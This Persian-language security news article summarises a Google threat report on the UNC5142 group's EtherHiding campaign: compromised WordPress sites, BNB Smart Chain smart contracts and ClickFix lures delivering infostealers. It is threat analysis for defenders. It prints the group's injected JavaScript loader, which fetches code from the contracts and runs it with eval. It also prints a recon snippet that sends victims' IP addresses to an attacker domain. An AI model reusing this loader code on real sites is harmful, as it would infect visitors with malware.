Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
    • دوره ی رایگان بررسی ساختار فایلهای PE (Portable Executable)
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • استفاده ی UNC5142 از EtherHiding برای توزیع بدافزار
  • آسیب پذیری امنیتی
  • آنالیز بدافزار
  • اخبار
  • بازیگران تهدید
  • مقالات

استفاده ی UNC5142 از EtherHiding برای توزیع بدافزار

On مهر 30, 1404مهر 30, 1404
seyyid
Share
زمان مطالعه: 25 دقیقه

گوگل اخیرا گزارش هایی منتشر کرده در خصوص دو گروه از بازیگران تهدید با نامهای UNC5142 و UNC5342 که از تکنیک جدیدی بنام EtherHiding برای توزیع بدافزار استفاده میکنن.

هر دو گزارش رو در سایت پوشش دادیم. در این پست میخواییم گزارش فعالیت گروه UNC5142 رو بررسی کنیم. برای دسترسی به گزارش فعالیت UNC5342، میتونید اینجا رو مشاهده کنید.

 

 

از اواخر سال ۲۰۲۳، واحد Mandiant Threat Defense و گروه Google Threat Intelligence (GTIG) فعالیتهای گروهی با نام UNC5142 رو رصد کردن. یک بازیگر تهدید با انگیزه مالی که از بلاکچین برای توزیع بدافزارهای سارق اطلاعات (Infostealer) سوء استفاده میکنه. گروه UNC5142 بدلیل هک سایتهای وردپرسی و استفاده از تکنیکی بنام EtherHiding که از بلاکچین های عمومی مانند BNB Smart Chain برای مخفی کردن کد یا داده مخرب استفاده میکنن، معروف هستن.

از اواخر سال ۲۰۲۳، گروه UNC5142 تاکتیکها، تکنیکها و روشهای اجرایی (TTPs) خودش رو به شکل قابل‌ توجهی تکامل داده تا امنیت عملیاتی (OPSEC) خودش رو افزایش بده و از شناسایی شدن دور بمونه. نکته ی مهم اینکه، از اواخر جولای ۲۰۲۵ تاکنون، فعالیتی از UNC5142 مشاهده نشده. موضوعی که میتونه نشان‌ دهنده ی تغییر در روشهای عملیاتی این گروه یا توقف موقت فعالیتهای اونا باشه.

به نظر میرسه UNC5142 بطور غیر هدفمند و گسترده به سایتهای آسیب‌پذیر وردپرس حمله میکنه و در نتیجه، کمپین وسیع و فرصت‌ طلبانه ای رو در صنایع و مناطق جغرافیایی مختلف رقم زده. تا ژوئن ۲۰۲۵، گروه GTIG حدود ۱۴٬۰۰۰ صفحه وب آلوده به جاوااسکریپت تزریق‌ شده، شناسایی کرده که با الگوی آلودگی UNC5142 مطابقت داشتن. در این کمپین ها بدافزارهای سارق اطلاعاتی از جمله ATOMIC، VIDAR، LUMMAC.V2 و RADTHIEF مشاهده شدن. با این حال، GTIG این پیلود های نهایی رو مستقیما به UNC5142 نسبت نمیده، چون احتمال داره این پیلودها از طرف گروههای تهدید دیگه توزیع شده باشن. این گزارش بطور کامل زنجیره ی آلودگی UNC5142 رو تشریح کرده، استفاده ی جدید اونا از قراردادهای هوشمند برای زیرساخت عملیاتی رو تحلیل کرده و تکامل TTPهای این گروه رو بر اساس مشاهدات مستقیم Mandiant Threat Defense مورد بررسی قرار داده.

 

نمای کلی حملات UNC5142:

زنجیره ی آلودگی UNC5142 معمولا شامل اجزا و تکنیکهای کلیدی زیر هستش:

  • CLEARSHORT: یک دانلودر چند مرحله‌ای جاوااسکریپت، که توزیع پیلودها رو تسهیل میکنه.
  • سایتهای وردپرس آلوده: سایتهایی که نسخه‌ های آسیب‌پذیر وردپرس رو اجرا میکنن یا از افزونه‌ها/قالبهای آسیب‌پذیر استفاده میکنن.
  • قراردادهای هوشمند (Smart Contracts): قراردادهای خودکار ذخیره‌ شده در بلاکچین BNB Smart Chain (BSC).
  • EtherHiding: تکنیکی برای مخفی کردن کد یا داده ی مخرب از طریق قرار دادن اون در بلاکچین عمومی. گروه UNC5142 به‌ شدت به BNB Smart Chain متکی هستش تا اجزای مخرب خودش رو در قالب قراردادهای هوشمند ذخیره کنه، و همین موضوع باعث میشه ابزارهای امنیتی سنتی سایتها، نتونن این کدهای مخرب رو به‌ راحتی شناسایی یا مسدود کنن.

 

زنجیره آلوگی CLEARSHORT
زنجیره آلودگی CLEARSHORT

 

 

CLEARSHORT

CLEARSHORT یک دانلودر چند مرحله‌ای (multistage) نوشته‌ شده با جاوااسکریپت هستش که برای تسهیل توزیع بدافزار بکار میره.

مرحله ی اول شامل یک پیلود جاوااسکریپتی هستش که در سایتهای آسیب‌پذیر وردپرسی تزریق میشه و طراحی شده تا پیلود مرحله ی دوم رو از یک قرارداد هوشمند مخرب بدست بیاره. وظیفه ی قرار داد هوشمند این هستش که مرحله ی بعدی، یعنی صفحه ی لندینگ CLEARSHORT رو از یک سرور خارجی که تحت کنترل هکرهاست، دریافت کنه. این صفحه از تکنیکی به نام ClickFix استفاده میکنه. ClickFix یک روش مهندسی اجتماعی رایج هستش که هدفش فریب دادن قربانیان برای اجرای دستورات از طریق پنجره RUN و بصورت محلی در ویندوز هستش.

CLEARSHORT تکامل‌ یافته ی دانلودر CLEARFAKE هستش که گروه UNC5142 قبلا از اواخر ۲۰۲۳ تا اواسط ۲۰۲۴ در عملیاتهای خودش استفاده میکرد. CLEARFAKE یک فریمورک جاوااسکریپت مخرب بود که خودش رو بصورت اعلان بروزرسانی مرورگر Google Chrome جا میزد. عملکرد اصلی جاوااسکریپتی که داخلش بود، این بود که پس از کلیک کاربر روی دکمه ی Update Chrome، یک پیلود رو دانلود کنه. پیلود مرحله ی دوم در قالب یک کد جاوااسکریپتی که با Base64 رمز و در یک قرارداد هوشمند که در BNB Smart Chain مستقر بود، نگهداری میشد.

 

سایتهای وردپرسی آلوده:

حمله از طریق نفوذ به یک سایت آسیب‌پذیر وردپرسی شروع میشه، که برای کسب دسترسی غیرمجاز، مورد اکسپلویت قرار میگیره. UNC5142 کد جاوااسکریپت مخرب (مرحله ی اول CLEARSHORT) رو در یکی از سه مکان زیر تزریق میکنه:

  • دایرکتوری پلاگین ها: تغییر فایلهای پلاگین موجود یا افزودن فایلهای مخرب جدید
  • فایلهای قالب: تغییر فایلهای قالب (مانند header.php، footer.php یا index.php) برای درج اسکریپت مخرب
  • دیتابیس: در برخی موارد، کد مخرب مستقیما به دیتابیس وردپرس تزریق میشه.

 

قرارداد هوشمند:

قراردادهای هوشمند برنامه‌هایی هستن که روی یک بلاکچین مانند BNB Smart Chain (BSC) ذخیره میشن و زمانیکه یک محرک مانند شرایط یا اتفاق افتادن موردی، رخ بده بصورت خودکار اجرا میشن. هرچند این محرکها میتونن پیچیده باشن، CLEARSHORT از روشی ساده‌تر استفاده میکنه، یعنی فراخوانی تابعی که به قرارداد هوشمند میگه اجرا بشه و یک داده ی از پیش‌ ذخیره‌ شده رو برگردونه.

قراردادهای هوشمند چند مزیت برای بازیگران تهدید فراهم میکنن، از جمله:

  • مبهم کردن (Obfuscation): ذخیره ی کد مخرب درون قرارداد هوشمند، تشخیص اونو با ابزارهای سنتی امنیت وب که محتوای سایت رو اسکن میکنن، دشوارتر میکنه.
  • تغییرپذیری (و چابکی): هرچند قراردادهای هوشمند ذاتا غیرقابل‌ تغییر هستن، مهاجمان از یک تکنیک هوشمندانه برای تغییر استفاده میکنن. اونا یک قرارداد هوشمند سطح‌ اول مستقر میکنن که اشاره‌ گری به یک قرارداد هوشمند سطح‌ دوم داره. قرارداد سطح‌ اول بعنوان یک نقطه ی ورود پایدار عمل میکنه که آدرس اون روی سایت آلوده تغییر نمیکنه. این قرارداد سطح‌ اول، جاوااسکریپت تزریق‌ شده رو هدایت میکنه تا کد رو از قرارداد سطح‌ دوم فراخوانی کنه و این به مهاجمان امکان میده مسیر فراخوانی رو بدون دستکاری سایت آلوده، تغییر بدن.
  • تاب آوری(Resilience): بکارگیری فناوری بلاکچین برای بخش بزرگی از زیرساخت و عملیات UNC5142، تاب‌آوری اونارو در مقابل تلاشهای کشف و از کار انداختنشون، افزایش میده. مکانیزمهای محافظتی مبتنی بر شبکه برای ترافیک Web3، نسبت به ترافیک وب سنتی سخت تر پیاده‌ سازی میشن، چون از URLهای سنتی استفاده ی کمتری میشه. عملیات توقیف و حذف هم بخاطر غیر قابل‌ تغییر بودن بلاکچین پیچیده‌تر میشه. این موضوع در ادامه ی گزارش بیشتر توضیح داده شده.
  • استفاده از زیرساخت مشروع: BNB Smart Chain یک پلتفرم مشروع هستش. استفاده از اون میتونه به ترکیب شدن ترافیک مخرب با فعالیت عادی کمک کنه تا از شناسایی در امان باشن.

 

تعامل با قرارداد هوشمند:

مرحله ی اول CLEARSHORT از Web3.js استفاده میکنه. مجموعه‌ای از کتابخانه‌ ها که اجازه ی تعامل با گره های اتریوم رو از طریق HTTP، IPC یا WebSocket میدن. معمولا برای اتصال به BNB Smart Chain از یک نود عمومی مانند bsc-dataseed.binance[.]org استفاده میشه.

کد مرحله ی اول شامل دستورالعملهایی برای تعامل با آدرسهای قرارداد هوشمند مشخص هستش و توابعی رو که در رابط باینری برنامه (Application Binary Interface — ABI) قرارداد تعریف شدن، فراخوانی میکنه. این توابع پیلودها رو برمیگردونن، از جمله URLهایی که به صفحه ی لندینگ CLEARSHORT اشاره دارن، صفحه ای که در مرورگر دیکد و اجرا میشه و یک پیام خطای جعلی به قربانی نمایش میده. قالب و طعمه ی این پیام خطا، در طول زمان تغییر کرده، اما هدف همواره فریب قربانی برای اجرای یک دستور مخرب از طریق پنجره ی Run بوده. دستور اجرا شده در نهایت منجر به دانلود و اجرای پیلود زیر میشه که اغلب یک سارق اطلاعات هستش.

ABI یک توصیف‌ نامه ی استاندارد (معمولا در قالب JSON) هستش که مشخص میکنه یک قرارداد هوشمند چه توابعی داره، هر تابع چه نام، پارامتر و نوع بازگشتی‌ داره، و رویدادها چه امضا و پارامترهایی دارن. بعبارت دیگه ABI قراردادی بین بایت‌کد اجرا شده در ماشین مجازی اتریوم (EVM) و کدهای سطح بالاتر (مثل dAppها یا کتابخانه‌هایی مثل Web3.js) هستش که نحوه ی انکد ورودیها و دیکد خروجیها رو تعریف میکنه.

ماشین مجازی اتریوم (Ethereum Virtual Machine — EVM) یک محیط اجرایی ایزوله و قدرتمند هستش که کدهای قراردادهای هوشمند رو اجرا میکنه. میشه اونو بصورت یک کامپیوتر بزرگ در نظر گرفت که وضعیت شبکه (حسابها، موجودیها و ذخیره ی قراردادها) رو نگهداری و با دریافت تراکنشها، اونارو تغییر میده.

 

JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// Load libraries from public CDNs to intereact with blockchain and decode payloads.
<script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js"></script>
<script>
    console.log('Start moving...');
    // The main malicious logic starts executing once the webpage's DOM is fully loaded.1st
    document.addEventListener('DOMContentLoaded', async () => {
        try {
            // Establishes a connection to the BNB Smart Chain via a public RPC node.
            const web3 = new Web3('https://bsc-dataseed.binance.org/');
            // Creates an object to interact with the 1st-Level Smart Contract.
            const contract = new web3.eth.Contract([
                {
                    "inputs": [],
                    "stateMutability": "nonpayable",
                    "type": "constructor"
                },
                {
                    "inputs": [],
                    "name": "orchidABI", // Returns 2nd contract ABI
                    "outputs": [{
                        "internalType": "string",
                        "name": "",
                        "type": "string"
                    }],
                    "stateMutability": "view",
                    "type": "function"
                },
                {
                    "inputs": [],
                    "name": "orchidAddress",// Returns 2nd contract address
                    "outputs": [{
                        "internalType": "string",
                        "name": "",
                        "type": "string"
                    }],
                    "stateMutability": "view",
                    "type": "function"
                },
            
            ], '0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53'); // Hardcoded address of the 1st-Level Contract.
//  ABI is Base64 decoded and then decompressed to get clean ABI.
            const orchidABI = JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c => c.charCodeAt(0)), {
                to: 'string'
            }));
            // Calls the 'orchidAddress' function to get the address of the 2nd-Level Contract.
            const orchidAddress = await contract.methods.orchidAddress().call();
     // New contract object created to represent 2nd-level contract.
            const orchid = new web3.eth.Contract(orchidABI, orchidAddress);
            const decompressedScript = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), {
                to: 'string'
            });
            eval(`(async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);`);
        } catch (error) {
            console.error('Road unavaible:', error);
        }
    });
</script>

 

وقتی کاربر از یک صفحه ی وب آلوده بازدید میکنه، جاوااسکریپت تزریق‌ شده در مرورگر اجرا میشه و مجموعه‌ای از ارتباطات رو با یک یا چند قرارداد هوشمند BNB آغاز میکنه که در نتیجه منجر به بازیابی و رندر صفحه ی لندینگCLEARSHORT (مرحله ی ۲) میشه که در شکل زیر مشاهده میکنید.

 

 

EtherHiding:

یک عنصر کلیدی در عملیات‌ UNC5142، استفاده ی اونا از تکنیک EtherHiding هستش. بجای قرار دادن کل زنجیره ی حمله درون سایت آلوده، اونا اجزای مخرب رو در BNB Smart Chain ذخیره میکنن و از قراردادهای هوشمند بعنوان یک پشتیبان داینامیک و کنترل بک اند، استفاده میکنن. عملیات درون زنجیره بلاکچین، توسط یک یا چند کیف‌ پول کنترل‌ شده توسط بازیگر مدیریت میشه. این اکانتهای مالکیت خارجی (EOA) برای موارد زیر بکار میرن: [ Externally Owned Account (EOA)= نوعی اکانت در شبکه اتریوم که توسط یک شخص با استفاده از کلید خصوصی کنترل میشه. بعبارت دیگه، این اکانتی که شما برای ارسال تراکنشها یا مدیریت اتر (ETH) خودتون ازش استفاده میکنید. برخلاف اکانتهای قرارداد هوشمند که صرفا توسط کد، کنترل میشن، EOAها مستقیما توسط افراد مدیریت میشن.]

  • مستقر کردن قراردادهای هوشمند و برقرار کردن پایه ی زنجیره ی حمله
  • تأمین BNB لازم برای پرداخت هزینه‌های شبکه برای اعمال تغییرات در زیرساخت حمله
  • بروزرسانی اشاره‌گرها و داده‌های درون قراردادها، مانند تغییر آدرس قراردادِ مرحله ی بعد یا تغییر کلیدهای رمزگشایی پیلود.

شکل زیر معماری EtherHiding روی BNB Smart Chain رو نشون میده.

 

معماری etherhiding

 

تکامل TTPهای UNC5142:

در یک سال گذشته، Mandiant Threat Defense و GTIG تغییرات مداوم و قابل‌ توجهی رو در TTPهای UNC5142 مشاهده کردن. کمپینهای اونا از یک سیستم تک‌ قراردادی به معماری سه‌ سطحی قرارداد هوشمندِ بسیار پیچیده‌ تری که از اواخر ۲۰۲۴ امکانپذیر شده و رویکرد چند مرحله‌ای و پویا رو ممکن میکنه، پیش رفته‌. این تکامل با چند تغییر کلیدی مشخص میشه:

  • پذیرش سیستم سه سطحی قرارداد هوشمند برای تحویل پویای پیلود
  • سوء استفاده از خدمات مشروع مانند Cloudflare Pages برای میزبانی طعمه‌ های مخرب
  • تغییر از رمزگذاری ساده ی Base64 به رمزنگاری AES.

بازیگر بطور مداوم طعمه‌ های مهندسی اجتماعی خودش رو تصحیح کرده و زیرساخت خودش رو گسترش داده، و گاهی مجموعه‌ های موازی قراردادهای هوشمند رو برای افزایش مقیاس و تاب‌ آوری کمپین های خودش راه‌ اندازی کرده.

 

بازه زمانی تغییرات کلیدی میزبانی و زیرساخت انکد و رمزنگاری طعمه ها و پیلودهای قابل توجه
مه 2024 سیستم تک‌ قراردادی  استفاده از پسوند shop برای طعمه ها و C2 Base64 طعمه‌ های جعلی بروزرسانی کروم
نوامبر 2024 معرفی سیستم سه قراردادی سوء استفاده از Cloudflare Pages (*.pages.dev) برای میزبانی صفحات طعمه. استفاده از دامنه‌ هایی با پسوند shop/icu برای ریکان AES-GCM + Base64 استفاده از سرور STUN برای کشف IP قربانی
ژانویه 2025 بهینه سازی سیستم سه قراردادی سوء استفاده از Cloudflare Pages (*.pages.dev) برای میزبانی صفحات طعمه. AES-GCM + Base64 طعمه‌ های جدید: reCAPTCHA جعلی، توافق‌ نامه‌ های حریم خصوصی. پیلودها: ATOMIC (macOS)، VIDAR
فوریه 2025 استقرار زیرساخت ثانویه. URL پیلودها در قرار داد هوشمند ذخیره میشه. استفاده ی گسترده‌ تر از Cloudflare Pages و دامنه‌ های جدید برای پیلودها AES-GCM + Base64 طعمه ی جدید: خطای Cloudflare .Unusual Web Traffic بررسی ریکان مبتنی بر STUN، حذف و با رهگیری مبتنی بر کوکی جایگزین شد
مارس 2025 استفاده ی فعال از هر دو زیرساخت اصلی و ثانویه میزبانی پیلود در MediaFire و GitHub AES-GCM + Base64 بررسیهای POST مرحله‌ای، برای دنبال‌ کردن تعامل قربانی. پیلودها: RADTHIEF، LUMMAC.V2
مه 2025 بهینه سازی طعمه ها و نحوه ی تحویل پیلودها Cloudflare Pages برای طعمه‌ ها، و پسوندهای مختلف دامنه برای پیلودها AES-GCM + Base64 طعمه ی جدید: تأیید ضد بات / Anti-Bot Verification، برای ویندوز و macOS

 

سوء استفاده از Cloudflare Pages:

در اواخر ۲۰۲۴، UNC5142 به استفاده از سرویس Cloudflare Pages (*.pages.dev) برای میزبانی صفحات لندینگ خودش تغییر روش داده. قبلا از دامنه‌ هایی با پسوند shop. استفاده میکردن.

Cloudflare Pages یک سرویس قانونی هستش که توسط Cloudflare نگهداری میشه و مکانیزمی سریع برای راه‌ اندازی یک سایت آنلاین رو فراهم میکنه و از شبکه ی Cloudflare استفاده میکنه تا لود سریع صفحات رو تضمین کنه. این صفحات چند مزیت فراهم میکنن:

  • چون Cloudflare یک شرکت مورد اعتماد هستش، صفحات میزبانی‌ شده خیلی سریع مسدود نمیشن.
  • برای مهاجم ساده هستش که در صورت حذف شدن صفحات قدیمی، صفحات جدیدی به سرعت بسازه.

 

سیستم با سه سطح از قرارداد هوشمند:

بزرگترین تغییر، انتقال از سیستم تک قراردادی به سیستمی با سه سطح قرارداد هوشمند هستش. این معماری جدید از یک الگوی طراحی نرم‌افزاری قانونی بنام Proxy Pattern گرفته شده که توسعه‌ دهندگان برای قابل‌ ارتقاء کردن قراردادهای خودشون ازش استفاده میکنن. یک پراکسی پایدار و غیر قابل‌ تغییر، فراخوانها رو به قرارداد سطح‌ دوم جداگانه‌ای ارجاع میده که قابل‌ تغییر هستش تا باگها اصلاح یا قابلیتهای جدیدی افزوده بشن. این چیدمان مانند یک معماری کارآمد Router-Logic-Storage عمل میکنه که در اون هر قرارداد نقش مشخصی داره. این طراحی اجازه میده بخشهای حیاتی حمله مانند URL صفحه ی لندینگ یا کلید رمزگشایی به‌ سرعت بروزرسانی بشن، بدون نیاز به تغییر جاوااسکریپت روی سایتهای آلوده. در نتیجه، کمپین بسیار چابک‌ تر و تاب آورتر در برابر عملیاتهای توقیف میشه.

Proxy Pattern در قراردادهای هوشمند اتریوم و BNB Chain، الگویی هستش برای قابل‌ بروزرسانی کردن قراردادها. در این الگو، بجای اینکه کاربر مستقیما با قرارداد اصلی تعامل کنه، با یک قرارداد واسطه (Proxy Contract) صحبت میکنه. این قرارداد، درخواستها رو به قرارداد منطق (Logic Contract یا Implementation Contract) هدایت میکنه. این الگو معمولا از سه لایه تشکیل میشه:

  • Proxy Contract: آدرس ثابتی داره و همیشه در بلاکچین هستش. تمام کاربران با این قرارداد در ارتباط‌اند.خودش فقط درخواستها رو به قرارداد منطق واقعی فوروارد میکنه (معمولاً با دستور delegatecall).
  • Logic / Implementation Contract (قرارداد منطق): شامل کد واقعی برنامه و توابع قرارداد هستش. اگه بخواید کد رو بروزرسانی کنید، تنها کافیه، این قرارداد رو جایگزین کنید.
  • Admin / Controller Contract (قرارداد مدیریت): فقط ادمین میتونه از طریق اون، آدرس Logic Contract رو در Proxy تغییر بده.

این روش اینجوری کار میکنه که وقتی کاربر تابعی از قرارداد رو فراخوانی میکنه:

  • فراخوانی به Proxy فرستاده میشه.
  • Proxy درخواست رو با delegatecall به Logic Contract منتقل میکنه.
  • delegatecall باعث میشه، کد Logic در حافظه و storage خود Proxy اجرا بشه (یعنی داده‌ها در Proxy ذخیره میشن، نه در Logic).
  • نتیجه به کاربر برگردونده بشه.

برای همین بهش Router-Logic-Storage میگن.

 

۱) فراخوان اولیه به قرارداد سطح‌ اول: آلودگی زمانی شروع میشه که جاوااسکریپت تزریق‌ شده به یک سایت آلوده، یک eth_call به قرارداد هوشمند سطح‌ اول انجام میده (مثلا 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53). عملکرد اصلی این قرارداد به‌ عنوان یک روتر هستش. وظیفه ی اون فراهم کردن آدرس و Application Binary Interface (ABI) برای مرحله ی بعد هستش تا مهاجم، در اغلب موارد، نیازی به بروزرسانی اسکریپت در سراسر شبکه ی سایتهای آلوده نداشته باشه. داده ی ABI در قالبی فشرده و بصورت base64 برگردونده میشه، که اسکریپت اون رو، با ()atob دیکد کرده و بعدش با pako.unzip از حالت فشرده خارج میکنه تا داده ی ABI درست بدست بیاد.

 

۲) شناسایی قربانی از طریق قرارداد سطح‌ دوم: جاوااسکریپت تزریق‌ شده، به قرارداد هوشمند سطح‌ دوم متصل میشه (مثلا 0x8FBA1667BEF5EdA433928b220886A830488549BD). این قرارداد نقش منطق حمله رو داره و شامل کدی برای انجام عملیات ریکان هستش. شکل زیر نشون دهنده ی نمونه‌ای از محتوای تراکنشهای قرارداد هوشمند سطح دوم هستش.

 

 

کد زیر، کد ریکانِ دیکد شده یِ ذخیره شده در تراکنش قرارداد هوشمند سطح دوم رو نشون میده:

 

JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//Example of code retrieved from the second-level smart contract (IP check and STUN)
if (await new Promise(r => {
        let a = new RTCPeerConnection({ iceServers: [{ urls: "stun:stun.l.google.com:19302" }] });
        a.createDataChannel("");
        a.onicecandidate = e => {
            let ip = e?.candidate?.candidate?.match(/\d+\.\d+\.\d+\.\d+/)?.[0];
            if (ip) {
                fetch('https://saaadnesss[.]shop/check', { // Or lapkimeow[.]icu/check
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ ip, domain: location.hostname })
                }).then(r => r.json()).then(data => r(data.status));
                a.onicecandidate = null;
            }
        };
        a.createOffer().then(o => a.setLocalDescription(o));
    }) === "Decline") {
        console.warn("Execution stopped: Declined by server");
    } else {
        await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
        await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
        await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
        await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    }

 

این قرارداد، مجموعه‌ای از عملیات eth_call رو اجرا میکنه تا توابع مشخصی رو فراخوانی و محیط قربانی رو شناسایی کنه:

  • teaCeremony (0x9f7a7126): در ابتدا بعنوان روشی برای اجرای داینامیک کد و نمایش صفحه استفاده میشد. بعدها برای افزودن و حذف بررسیهای POST مورد استفاده قرار گرفت.
  • shibuyaCrossing (0x1ba79aa2): مسئول شناسایی پلتفرم یا سیستم‌ عامل قربانی هستش و مقادیر OS/platform به‌ مرور زمان به اون اضافه شد.
  • asakusaTemple (0xa76e7648): در ابتدا بعنوان جایگزینی برای نمایش console log بود که بعدها به یک Beacon برای رهگیری مراحل تعامل کاربر تبدیل شد، که مقادیر User-Agent رو ارسال میکرد.
  • ginzaLuxury (0xa98b06d3): مسئول بازیابی کد برای یافتن، واکشی، رمزگشایی و در نهایت نمایش طعمه ی مخرب به کاربر هستش.

قابلیتهای مربوط به بررسیهای C2 درون قراردادها هم به مرور زمان تکامل یافتن:

  • اواخر ۲۰۲۴: اسکریپت از یک سرور STUN (stun:stun.l.google.com:19302) برای بدست آوردن آدرس IP قربانی استفاده میکرد و اونو به دامنه‌ای مانند saaadnesss[.]shop یا lapkimeow[.]icu/check ارسال میکرد. STUN مخفف Session Traversal Utilities for NAT هستش، یک پروتکل ساده که به یک کلاینت (مثلا مرورگر یا برنامه VoIP) کمک میکنه آدرس عمومی (Public IP) و پورت قابل مشاهده در پشت یک NAT رو بدست بیاره. سرور STUN یک سرور عمومی هستش که به درخواستهای Binding Request پاسخ میده و در پاسخ، آدرسی رو که از طرف کلاینت دیده میشه رو (source IP:port) بر میگردونه.
  • فوریه ۲۰۲۵: بررسی مبتنی بر STUN و ارسال POST حذف شد و جایگزینش مکانیزم ردیابی مبتنی بر کوکی (data-ai-collecting) درون تابع teaCeremony (0x9f7a7126) شد.
  • آوریل ۲۰۲۵: مکانیزم بررسی دوباره معرفی و بهتر شد. تابع asakusaTemple (0xa76e7648) اصلاح شد تا درخواستهای POST مرحله‌ای رو به دامنه ی ratatui[.]today ارسال کنه و در هر مرحله از تعامل، طعمه ی Beacon بفرسته تا پیشرفت قربانی رو دنبال کنه.

 

۳) میزبانی URL طعمه و پیلود در قرارداد سطح‌سوم: پس از اینکه قربانی شناسایی شد، منطق موجود در قرارداد سطح‌ دوم، با قرارداد هوشمند سطح‌ سوم (مثلا 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA) تعامل میکنه. این قرارداد سوم، نقش یک مخزن پیکربندی رو داره. معمولا شامل URL میزبانی پیلود انکد شده ی CLEARSHORT، کلید AES برای رمزگشایی صفحه و URL میزبانی پیلود مرحله ی دوم هستش. با جدا کردن منطق ثابت (سطح‌ دوم) از پیکربندی پویا (سطح‌ سوم)، UNC5142 میتونه به‌ سرعت دامنه‌ها رو تغییر بده، طعمه‌ها رو بروز کنه و کلیدهای رمزگشایی رو با یک تراکنش ارزان به قرارداد سطح‌ سوم خودش، تغییر بده، تا مطمئن بشه کمپین اونا در برابر عملیاتهای حذف/توقیف همچنان مؤثر باقی میمونن.

 

آدرس اینترنتی پیلود
آدرس اینترنتی صفحه لندینگ رمزگذاری شده

 

چطوری یک قرارداد غیر قابل‌ تغییر، میتونه بروزرسانی بشه؟

سؤال کلیدی این هستش که مهاجمان چطوری میتونن چیزی رو بروزرسانی کنن، در حالیکه ذاتا غیر قابل‌ تغییر هستش. پاسخ در تمایز بین کد قرارداد هوشمند و داده‌های اون نهفته هستش.

  • کد غیر قابل‌ تغییر: وقتی یک قرارداد هوشمند مستقر میشه، کد برنامه ی اون ثابت هستش و هرگز قابل‌ تغییر نیست. این بخش همان چیزی است که اعتماد و قابلیت اتکا در بلاکچین رو فراهم میکنه.
  • داده ی قابل‌ تغییر: با این حال، یک قرارداد میتونه داده ذخیره کنه، مشابه یک برنامه که از یک دیتابیس استفاده میکنه. کد غیر قابل تغییر قرارداد، میتونه شامل توابعی باشه که برای تغییر این داده ی ذخیره‌ شده طراحی شدن.

UNC5142 از این قابلیت سوء استفاده میکنه. قراردادهای اونا با توابع مدیریتی ویژه‌ای ساخته شدن. برای تغییر URL یک پیلود، بازیگر از کیف‌ پول تحت کنترل خودش یک تراکنش ارسال میکنه که یکی از این توابع رو فراخوانی میکنه و URL جدید رو به اون میده. کد غیرقابل تغییر قرارداد اجرا میشه، این اطلاعات جدید رو دریافت کرده و URL قدیمی رو در حافظه ی قرارداد بازنویسی میکنه. از اون به بعد، هر اسکریپت مخربی که قرارداد رو فراخوانی کنه بطور خودکار آدرس جدید و بروز شده رو دریافت میکنه. برنامه ی قرارداد دست‌ نخورده میمونه، اما پیکربندی اون کاملا تغییر کرده.

تحلیل تراکنشها نشان میده که یک بروزرسانی معمولی، مانند تغییر URL طعمه یا کلید رمزگشایی در قرارداد سطح‌ سوم، برای بازیگر بین ۰.۲۵ تا ۱.۵۰ دلار آمریکا هزینه ی کارمزد شبکه داره. پس از هزینه ی یک‌ بار استقرار قراردادهای هوشمند، تأمین اولیه ی کیف‌ پول اپراتور برای پوشش چند صد بروزرسانی از این دست کافی هستش. این هزینه ی عملیاتی پایین، عامل مهمی در امکانپذیر ساختن کمپین های تاب آور و گسترده اوناست، که به هکرها اجازه میده با هزینه ی کم و سرعت بالا به عملیات‌ حذف/توقیف واکنش نشان بدن.

 

CLEARSHORT رمزنگاری‌ شده با AES

